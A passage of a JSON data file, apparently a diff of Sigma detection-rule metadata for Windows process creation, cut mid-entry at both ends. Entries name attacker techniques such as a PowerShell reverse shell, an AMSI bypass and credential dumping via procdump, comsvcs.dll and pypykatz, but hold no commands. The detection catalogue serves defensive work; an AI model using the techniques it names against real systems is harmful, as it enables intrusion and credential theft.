"filename": "proc_creation_win_powershell_download.yml", - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", - "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275", - "value": "Suspicious PowerShell Download and Execute Pattern", - "meta": { - "refs": [ - "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/02/28", - "filename": "proc_creation_win_powershell_download_patterns.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Software installers that pull packages from remote systems and execute them" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious FromBase64String expressions in command line arguments", - "uuid": "e32d4572-9826-4738-b651-95fa63747e8a", - "value": "FromBase64String Command Line", - "meta": { - "refs": [ - "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml" - ], - "tags": [ - "attack.t1027", - "attack.defense_evasion", - "attack.t1140", - "attack.t1059.001" - ], - "creation_date": "2020/01/29", - "filename": "proc_creation_win_powershell_frombase64string.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative script libraries" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", - "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3", - "value": "PowerShell Get-Clipboard Cmdlet Via CLI", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", - "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ], - "creation_date": "2020/05/02", - "filename": "proc_creation_win_powershell_get_clipboard.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", - "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4", - "value": "Execution of Powershell Script in Public Folder", - "meta": { - "refs": [ - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml" - ], - "tags": "No established tags", - "creation_date": "2022/04/06", - "filename": "proc_creation_win_powershell_public_folder.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the Nishang Invoke-PowerShellTcpOneLine reverse shell", - "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be", - "value": "Powershell Reverse Shell Connection", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/03/03", - "filename": "proc_creation_win_powershell_reverse_shell_connection.yml", - "author": "FPT.EagleEye, wagga", - "level": "high", - "falsepositive": [ - "Administrative might use this function for checking network connectivity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", - "uuid": "25676e10-2121-446e-80a4-71ff8506af47", - "value": "Exchange PowerShell Snap-Ins Used by HAFNIUM", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.collection", - "attack.t1114" - ], - "creation_date": "2021/03/03", - "filename": "proc_creation_win_powershell_snapins_hafnium.yml", - "author": "FPT.EagleEye", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell invocation with a parameter substring", - "uuid": "36210e0d-5b19-485d-a087-c096088885f0", - "value": "Suspicious PowerShell Parameter Substring", - "meta": { - "refs": [ - "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_powershell_susp_parameter_variation.yml", - "author": "Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", - "uuid": "bb780e0c-16cf-4383-8383-1e5471db6cf9", - "value": "Suspicious XOR Encoded PowerShell Command Line", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1059.001", - "attack.t1140", - "attack.t1027" - ], - "creation_date": "2018/09/05", - "filename": "proc_creation_win_powershell_xor_commandline.yml", - "author": "Sami Ruohonen, Harish Segar (improvement), Tim Shelton", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", - "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f", - "value": "Default PowerSploit and Empire Schtasks Persistence", - "meta": { - "refs": [ - "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.s0111", - "attack.g0022", - "attack.g0060", - "car.2013-08-001", - "attack.t1053.005", - "attack.t1059.001" - ], - "creation_date": "2018/03/06", - "filename": "proc_creation_win_powersploit_empire_schtasks.yml", - "author": "Markus Neis, @Karneades", - "level": "high", - "falsepositive": [ - "False positives are possible, depends on organisation and processes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", - "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b", - "value": "Privilege Escalation via Named Pipe Impersonation", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_priv_escalation_via_named_pipe.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Other programs that cause these patterns (please report)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the SysInternals Procdump utility", - "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20", - "value": "Procdump Usage", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2021/08/16", - "filename": "proc_creation_win_procdump.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate use of procdump by a developer or administrator" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", - "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737", - "value": "Procdump Evasion", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1480785527901204481", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/01/11", - "filename": "proc_creation_win_procdump_evasion.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Cases in which procdump just gets copied to a different directory without any renaming" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a process memory dump performed by RdrLeakDiag.exe", - "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", - "value": "Process Dump via RdrLeakDiag.exe", - "meta": { - "refs": [ - "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2021/09/24", - "filename": "proc_creation_win_process_dump_rdrleakdiag.yml", - "author": "Cedric MAURUGEON", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process memory dump via comsvcs.dll and rundll32 using different techniques (ordinal, minidump function...etc)", - "uuid": "646ea171-dded-4578-8a4d-65e9822892e3", - "value": "Process Dump via Rundll32 and Comsvcs.dll", - "meta": { - "refs": [ - "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", - "https://twitter.com/Hexacorn/status/1224848930795552769", - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://twitter.com/SBousseaden/status/1167417096374050817", - "https://twitter.com/Wietze/status/1542107456507203586", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.credential_access", - "attack.t1036", - "attack.t1003.001", - "car.2013-05-009" - ], - "creation_date": "2020/02/18", - "filename": "proc_creation_win_process_dump_rundll32_comsvcs.yml", - "author": "Florian Roth, Modexp, Nasreddine Bencherchali (update)", - "level": "high", - "falsepositive": [ - "Unlikely, because no one should dump the process memory in that way" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", - "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48", - "value": "CreateDump Process Dump", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://twitter.com/bopin2020/status/1366400799199272960", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/01/04", - "filename": "proc_creation_win_proc_dump_createdump.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Command lines that use the same flags" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", - "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42", - "value": "DumpMinitool Usage", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", - "https://twitter.com/mrd0x/status/1511489821247684615", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/04/06", - "filename": "proc_creation_win_proc_dump_dumpminitool.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", - "uuid": "6355a919-2e97-4285-a673-74645566340d", - "value": "RdrLeakDiag Process Dump", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/01/04", - "filename": "proc_creation_win_proc_dump_rdrleakdiag.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", - "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce", - "value": "Suspicious DumpMinitool Usage", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586", - "https://twitter.com/mrd0x/status/1511489821247684615", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/04/06", - "filename": "proc_creation_win_proc_dump_susp_dumpminitool.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect suspicious parent processes of well-known Windows processes", - "uuid": "96036718-71cc-4027-a538-d1587e0006a7", - "value": "Windows Processes Suspicious Parent Directory", - "meta": { - "refs": [ - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", - "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", - "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", - "https://attack.mitre.org/techniques/T1036/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003", - "attack.t1036.005" - ], - "creation_date": "2019/02/23", - "filename": "proc_creation_win_proc_wrong_parent.yml", - "author": "vburov", - "level": "low", - "falsepositive": [ - "Some security products seem to spawn these" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", - "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb", - "value": "ProtocolHandler.exe Downloaded Suspicious File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_susp_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/07/13", - "filename": "proc_creation_win_protocolhandler_susp_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", - "uuid": "af77cf95-c469-471c-b6a0-946c685c4798", - "value": "Proxy Execution via Wuauclt", - "meta": { - "refs": [ - "https://dtm.uk/wuauclt/", - "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proxy_execution_wuauclt.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_proxy_execution_wuauclt.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth, Sreeman, FPT.EagleEye Team", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a PsExec service start", - "uuid": "3ede524d-21cc-472d-a3ce-d21b568d8db7", - "value": "PsExec Service Start", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psexesvc_start.yml" - ], - "tags": [ - "attack.execution", - "attack.s0029", - "attack.t1569.002" - ], - "creation_date": "2018/03/13", - "filename": "proc_creation_win_psexesvc_start.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.", - "uuid": "4f927692-68b5-4267-871b-073c45f4f6fe", - "value": "PowerShell AMSI Bypass Pattern", - "meta": { - "refs": [ - "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.execution" - ], - "creation_date": "2022/11/04", - "filename": "proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", - "author": "@Kostastsale", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", - "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7", - "value": "DefenderCheck Usage", - "meta": { - "refs": [ - "https://github.com/matterpreter/DefenderCheck", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.005" - ], - "creation_date": "2022/08/30", - "filename": "proc_creation_win_pua_defendercheck.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", - "uuid": "38646daa-e78f-4ace-9de0-55547b2d30da", - "value": "Seatbelt PUA Tool", - "meta": { - "refs": [ - "https://github.com/GhostPack/Seatbelt", - "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1526", - "attack.t1087", - "attack.t1083" - ], - "creation_date": "2022/10/18", - "filename": "proc_creation_win_pua_seatbelt.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", - "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a", - "value": "Parent in Public Folder Suspicious Process", - "meta": { - "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/25", - "filename": "proc_creation_win_public_folder_parent.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the PurpleSharp adversary simulation tool", - "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4", - "value": "PurpleSharp Indicator", - "meta": { - "refs": [ - "https://github.com/mvelazc0/PurpleSharp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_purplesharp_indicators.yml" - ], - "tags": [ - "attack.t1587", - "attack.resource_development" - ], - "creation_date": "2021/06/18", - "filename": "proc_creation_win_purplesharp_indicators.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", - "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404", - "value": "Registry Parse with Pypykatz", - "meta": { - "refs": [ - "https://github.com/skelsec/pypykatz", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2022/01/05", - "filename": "proc_creation_win_pypykatz.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects python spawning a pretty tty", - "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d", - "value": "Python Spawning Pretty TTY on Windows", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/03", - "filename": "proc_creation_win_python_pty_spawn.yml", - "author": "Nextron Systems", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the Quarks PwDump tool via commandline arguments", - "uuid": "0685b176-c816-4837-8e7b-1216f346636b", - "value": "Quarks PwDump Usage", - "meta": { - "refs": [ - "https://github.com/quarkslab/quarkspwdump", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quarks_pwdump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2022/09/05", - "filename": "proc_creation_win_quarks_pwdump.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may interact with the Windows Registry to gather information about credentials, the system, configuration, and installed software.", - "uuid": "970007b7-ce32-49d0-a4a4-fbef016950bd", - "value": "Query Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_registry.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.t1007" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_query_registry.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", - "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2", - "value": "Query Usage To Exfil Data", - "meta": { - "refs": [ - "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/01", - "filename": "proc_creation_win_query_session_exfil.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This command line patterns found in BlackByte Ransomware operations", - "uuid": "999e8307-a775-4d5f-addc-4855632335be", - "value": "BlackByte Ransomware Patterns", - "meta": { - "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/25", - "filename": "proc_creation_win_ransom_blackbyte.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects commandline containing reference to files ending with a \".\". This scheme has been seen used by raspberry-robin", - "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", - "value": "Raspberry Robin Dot Ending File", - "meta": { - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/10/28", - "filename": "proc_creation_win_raspberry_robin_single_dot_ending_file.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects RDP session hijacking by using MSTSC shadowing", - "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334", - "value": "MSTSC Shadowing", - "meta": { - "refs": [ - "https://twitter.com/kmkz_security/status/1220694202301976576", - "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1563.002" - ], - "creation_date": "2020/01/24", - "filename": "proc_creation_win_rdp_hijack_shadowing.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", - "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124", - "value": "Suspicious Redirection to Local Admin Share", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/16", - "filename": "proc_creation_win_redirect_local_admin_share.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", - "uuid": "70e68156-6571-427b-a6e9-4476a173a9b6", - "value": "Cmd Stream Redirection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_to_stream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/02/04", - "filename": "proc_creation_win_redirect_to_stream.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects actions caused by the RedMimicry Winnti playbook", - "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b", - "value": "RedMimicry Winnti Playbook Execute", - "meta": { - "refs": [ - "https://redmimicry.com", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redmimicry_winnti_proc.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1106", - "attack.t1059.003", - "attack.t1218.011" - ], - "creation_date": "2020/06/24", - "filename": "proc_creation_win_redmimicry_winnti_proc.yml", - "author": "Alexander Rausch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the export of a crital Registry key to a file.", - "uuid": "82880171-b475-4201-b811-e9c826cd5eaa", - "value": "Exports Critical Registry Keys To a File", - 